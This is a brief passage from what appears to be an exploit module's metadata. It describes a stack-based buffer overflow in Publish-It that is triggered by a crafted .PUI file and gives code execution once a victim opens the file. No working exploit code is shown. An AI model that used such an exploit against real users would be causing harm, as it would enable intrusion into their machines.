'Description' => %q{  
This module exploits a stack based buffer overflow in Publish-It when  
processing a specially crafted .PUI file. This vulnerability could be  
exploited by a remote attacker to execute arbitrary code on the target  
machine by enticing a user of Publish-It to open a malicious .PUI file.
